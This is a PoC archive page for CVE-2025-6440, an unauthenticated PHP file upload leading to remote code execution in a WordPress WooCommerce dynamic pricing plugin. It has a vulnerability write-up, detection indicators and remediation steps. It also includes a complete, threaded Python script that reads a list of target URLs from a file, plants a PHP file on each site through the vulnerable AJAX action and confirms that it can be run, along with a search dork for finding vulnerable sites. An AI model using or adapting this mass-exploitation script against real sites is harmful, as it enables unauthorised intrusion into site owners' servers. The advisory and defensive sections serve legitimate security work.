PoC Archive PoC Archive
Critical CVE-2025-6440 unpatched

WooCommerce Dynamic Pricing & Discounts (WC Designer Pro) Unauthenticated File Upload RCE (CVE-2025-6440)

by sahmsec · 2026-07-06

CVSS 9.8/10
Severity
Critical
CVE
CVE-2025-6440
Category
web
Affected product
WordPress WooCommerce Dynamic Pricing & Discounts plugin (wc-designer-pro)
Affected versions
Not pinned by the PoC (dork-identified installs of the plugin)
Disclosed
2026-07-06
Patch status
unpatched

Metadata

FieldValue
Date Added2026-07-06
Last Updated2026-07-06
Author / Researchersahmsec
CVE / AdvisoryCVE-2025-6440
Categoryweb
SeverityCritical
CVSS Score9.8 (CVSSv3.1: AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)
StatusWeaponized
Tagswordpress, woocommerce, wc-designer-pro, dynamic-pricing, file-upload, rce, unauthenticated, wp-ajax, cwe-434, nuclei
RelatedN/A

Affected Target

FieldValue
Software / SystemWordPress WooCommerce Dynamic Pricing & Discounts plugin (wc-designer-pro)
Versions AffectedNot pinned by the PoC (dork-identified installs of the plugin)
Language / PlatformPHP / WordPress plugin (AJAX handler)
Authentication RequiredNo
Network Access RequiredYes

Summary

The WooCommerce Dynamic Pricing & Discounts plugin (installed under the wc-designer-pro plugin folder) exposes an unauthenticated AJAX action, wcdp_save_canvas_design_ajax, used by its product “canvas design” feature to save user-uploaded artwork. The handler accepts a files parameter describing the file’s name/extension and writes the uploaded content to a predictable, publicly accessible path under wp-content/uploads/wcdp-uploads/temp/<uniq>/ without validating or restricting the file extension. Because no authentication is required and the extension is attacker-controlled, an unauthenticated attacker can upload a .php file disguised with an image-like request and have it saved directly in the web root, achieving remote code execution once the file is requested.


Vulnerability Details

Root Cause

The wcdp_save_canvas_design_ajax AJAX action (reachable unauthenticated via wp-admin/admin-ajax.php) saves uploaded file content to a web-accessible uploads directory using attacker-supplied filename/extension metadata from the files array in the params JSON parameter, without server-side validation of the file type/extension. The resulting file is stored at a deterministic, attacker-known path (wp-content/uploads/wcdp-uploads/temp/{uniq}/{name}.{ext}, where uniq is echoed back by the server), so any extension — including .php — can be planted and later executed by the web server.

Attack Vector

  1. Send a multipart POST to /wp-admin/admin-ajax.php with action=wcdp_save_canvas_design_ajax and a params JSON blob describing a file entry (name, ext, plus canvas metadata such as mode, uniq, editor, designID, productID).
  2. Attach the actual file content under the form field indexed by the files[].count value, using an arbitrary extension (e.g. php) while labeling the MIME type innocuously (e.g. text/plain or image/png).
  3. The plugin saves the uploaded bytes verbatim to wp-content/uploads/wcdp-uploads/temp/<uniq>/<name>.<ext> and reports "success": true along with the uniq token.
  4. The attacker requests the resulting public URL directly; if the extension was .php, the web server executes the uploaded code, yielding remote code execution.

Impact

Unauthenticated arbitrary file upload to a web-accessible directory, resulting in remote code execution when a server-side scriptable extension (e.g. .php) is uploaded and subsequently requested.


Environment / Lab Setup

Target:   WordPress site with the WooCommerce Dynamic Pricing & Discounts (wc-designer-pro) plugin active
Attacker: Python 3.x with `requests` installed (apt install python3-requests), or nuclei for the template-based check
Recon:    Dork: "/wp-content/plugins/wc-designer-pro/"

Proof of Concept

PoC Script

See CVE-2025-6440.py and CVE-2025-6440.yaml in this folder.

1
2
3
apt install python3-requests

python3 CVE-2025-6440.py targets.txt --threads 10

The Python script batch-processes a list of target URLs. For each target it POSTs a multipart request to wp-admin/admin-ajax.php with action=wcdp_save_canvas_design_ajax and a params payload describing an uploaded file named abc.php, attaching a benign marker payload (<?php echo "RCE TEST";?>) as the file content. On a JSON "success": true response it computes the predictable public URL (wp-content/uploads/wcdp-uploads/temp/<uniq>/abc.php) and issues a GET to confirm the file is publicly reachable (HTTP 200), logging confirmed targets to success and failures to failed.

The accompanying CVE-2025-6440.yaml is a Nuclei template that performs the same two-step check (upload a harmless pixel.png via the same AJAX action, then GET the resulting wp-content/uploads/wcdp-uploads/temp/{{uniq}}/pixel.png and confirm it is served back as image/png), useful for non-destructive detection at scale.


Detection & Indicators of Compromise

POST /wp-admin/admin-ajax.php HTTP/1.1
Content-Type: multipart/form-data; boundary=...

action=wcdp_save_canvas_design_ajax
params={"mode":"addtocart","uniq":"<token>","editor":"frontend", ... ,"files":[{"count":"0","name":"<name>","ext":"<ext>"}]}

Signs of compromise:

  • Unauthenticated multipart POST requests to /wp-admin/admin-ajax.php with action=wcdp_save_canvas_design_ajax
  • Unexpected files (especially .php, .phtml, or other scriptable extensions) under wp-content/uploads/wcdp-uploads/temp/
  • Outbound requests to newly created files under that directory shortly after the upload request

Remediation

ActionDetail
Primary fixUpdate the WooCommerce Dynamic Pricing & Discounts (wc-designer-pro) plugin to a patched version that validates/restricts uploaded file extensions and MIME types
Interim mitigationDisable or restrict the wcdp_save_canvas_design_ajax AJAX action; block execution of scripts under wp-content/uploads/ (e.g. via web server configuration); monitor and purge unexpected files under wp-content/uploads/wcdp-uploads/temp/; deploy a WAF rule blocking non-image extensions in this endpoint’s upload payloads

References


Notes

Mirrored from https://github.com/sahmsec/CVE-2025-6440 on 2026-07-06. Repository includes both a working Python batch-exploitation script and a Nuclei YAML template implementing the same two-step upload-then-verify logic against the wcdp_save_canvas_design_ajax endpoint.

CVE-2025-6440.py
  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
#!/usr/bin/env python3
import argparse
import json
import mimetypes
import os
import secrets
import sys
from io import BytesIO
from urllib.parse import urljoin
from concurrent.futures import ThreadPoolExecutor, as_completed

import requests
#Dork : "/wp-content/plugins/wc-designer-pro/"

# Banner for educational purposes
def print_banner():
    banner = """
╔══════════════════════════════════════════════════════════════════════════════╗
║                                                                              ║
║    WordPress WooCommerce Dynamic Pricing & Discounts Plugin                  ║
║                 Unauthenticated File Upload Exploit                          ║
║                        CVE-2025-6440                                         ║
║                                                                              ║
║                     Crafted by: sahmsec                                      ║
║                                                                              ║
║              For Educational and Authorized Testing Only                     ║
║                                                                              ║
╚══════════════════════════════════════════════════════════════════════════════╝
"""
    print(banner)


def norm(u: str) -> str:
    if not u.startswith(("http://", "https://")):
        u = "https://" + u.strip("/")
    return u.rstrip("/") + "/"


def ajax(u: str) -> str:
    return urljoin(u, "wp-admin/admin-ajax.php")


def uploads_url(u: str) -> str:
    return urljoin(u, "wp-content/uploads/")


def php_payload() -> bytes:
    return b'<?php echo "RCE TEST";?>'


def upload_to_url(base_url: str) -> tuple:
    """
    Uploads the PHP file to a single URL and returns (success, result).
    success: bool, result: str (public URL if success, error message if fail).
    """
    try:
        base = norm(base_url)
        target = ajax(base)
        uniq = secrets.token_hex(5)

        payload = BytesIO(php_payload())
        name = "abc"
        ext = "php"
        fname = f"{name}.{ext}"
        mime = "text/plain"
        field = "0"

        params = {
            "mode": "addtocart",
            "uniq": uniq,
            "editor": "frontend",
            "designID": 0,
            "productID": 0,
            "addCMYK": False,
            "saveList": False,
            "productData": 0,
            "files": [{"count": field, "name": name, "ext": ext}],
        }
        data = {"action": "wcdp_save_canvas_design_ajax", "params": json.dumps(params, separators=(",", ":"))}
        files = {field: (fname, payload, mime)}
        headers = {
            "User-Agent": "Mozilla/5.0",
            "Accept": "application/json, */*;q=0.1",
            "Connection": "close",
            "Referer": base,
            "X-Requested-With": "XMLHttpRequest",
        }

        resp = requests.post(target, data=data, files=files, headers=headers, timeout=12.0, allow_redirects=True)
        payload.close()

        body = (resp.text or "").strip()
        public = urljoin(uploads_url(base), f"wcdp-uploads/temp/{uniq}/{fname}")

        # Check if server reported success
        ok = False
        try:
            j = resp.json()
            ok = bool(j.get("success"))
        except Exception:
            pass

        if ok:
            # Verify public URL
            try:
                check = requests.get(public, timeout=8, allow_redirects=True)
                if check.status_code == 200:
                    return True, public
                else:
                    return False, f"{base_url}: Public check failed with status {check.status_code}"
            except requests.RequestException as e:
                return False, f"{base_url}: Public check failed: {e}"
        else:
            return False, f"{base_url}: Server did not report success (HTTP {resp.status_code})"

    except requests.RequestException as e:
        return False, f"{base_url}: Request failed: {e}"
    except Exception as e:
        return False, f"{base_url}: Unexpected error: {e}"


def main():
    print_banner()
    
    p = argparse.ArgumentParser(description="Batch upload PHP file to multiple WordPress sites.")
    p.add_argument("input_file", help="File containing list of base URLs (one per line)")
    p.add_argument("--threads", type=int, default=5, help="Number of threads for parallel uploads (default: 5)")
    args = p.parse_args()

    # Read URLs from file
    try:
        with open(args.input_file, 'r') as f:
            urls = [line.strip() for line in f if line.strip()]
    except FileNotFoundError:
        print(f"[!] Input file '{args.input_file}' not found.")
        sys.exit(1)

    if not urls:
        print("[!] No URLs found in input file.")
        sys.exit(1)

    # Prepare result files
    with open("success", "w") as sf:
        sf.write("")  # Clear file
    with open("failed", "w") as ff:
        ff.write("")  # Clear file

    print(f"[+] Starting batch upload with {args.threads} threads for {len(urls)} URLs...")

    # Use ThreadPoolExecutor for parallel uploads
    results = []
    with ThreadPoolExecutor(max_workers=args.threads) as executor:
        futures = {executor.submit(upload_to_url, url): url for url in urls}
        for future in as_completed(futures):
            success, result = future.result()
            if success:
                with open("success", "a") as sf:
                    sf.write(result + "\n")
                print(f"[+] Success: {result}")
            else:
                with open("failed", "a") as ff:
                    ff.write(result + "\n")
                print(f"[-] Failed: {result}")

    print("[+] Batch upload completed. Check 'success' and 'failed' files.")


if __name__ == "__main__":
    main()